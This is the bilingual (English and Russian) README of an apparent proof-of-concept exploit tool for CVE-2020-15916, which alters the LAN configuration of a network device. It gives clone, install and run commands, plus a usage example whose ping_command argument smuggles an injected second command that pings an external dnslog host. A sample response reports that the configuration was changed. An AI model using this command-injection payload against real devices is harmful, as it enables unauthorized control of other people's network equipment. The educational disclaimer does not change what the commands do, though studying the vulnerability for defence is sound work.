
Proof-of-concept exploit for CVE-2020-15916, enabling unauthorized LAN configuration changes via weak authentication bypass and payload injection.
GenLANConfigAttack - is a PoC for exploiting CVE-2020-15916, a vulnerability that allows unauthorized changes to the LAN configuration of a device.
git clone https://github.com/geniuszly/CVE-2020-15916
pip install -r requirements.txt
python GenLANConfigAttack.py
target_ip: The IP address of the target device.ping_command: Command to execute on the target device.session_password: Password for session access.python GenLANConfigAttack.py --target_ip 192.168.0.1 --session_password gew43t4gtewe4u5u576i7yhggerr6ijtr --ping_command '192.168.0.1 &;ping xt68nd.dnslog.cn'
[Response from 192.168.0.1]:
{"success":true,"message":"LAN IP configuration updated successfully"}
This PoC is for the CVE-2020-15916 vulnerability, which allows attackers to alter the LAN configuration of vulnerable devices by exploiting a weak authentication mechanism.
This tool is provided for educational purposes only. Use it responsibly and only in environments where you have explicit permission.
GenLANConfigAttack представляет собой PoC для эксплуатации уязвимости CVE-2020-15916, которая позволяет несанкционированно изменять конфигурацию LAN устройства.
git clone https://github.com/geniuszly/CVE-2020-15916
pip install -r requirements.txt
python GenLANConfigAttack.py
target_ip: IP-адрес целевого устройства.ping_command: Команда для выполнения на целевом устройстве.session_password: Пароль для сессионного доступа.python GenLANConfigAttack.py --target_ip 192.168.0.1 --session_password gew43t4gtewe4u5u576i7yhggerr6ijtr --ping_command '192.168.0.1 &;ping xt68nd.dnslog.cn'
[Ответ от 192.168.0.1]:
{"success":true,"message":"Конфигурация LAN IP успешно обновлена"}
Этот PoC эксплуатирует уязвимость CVE-2020-15916, которая позволяет злоумышленникам изменять конфигурацию LAN на уязвимых устройствах, используя слабую аутентификацию.
Этот инструмент предоставляется исключительно в образовательных целях. Используйте его ответственно и только в тех средах, где у вас есть явное разрешение.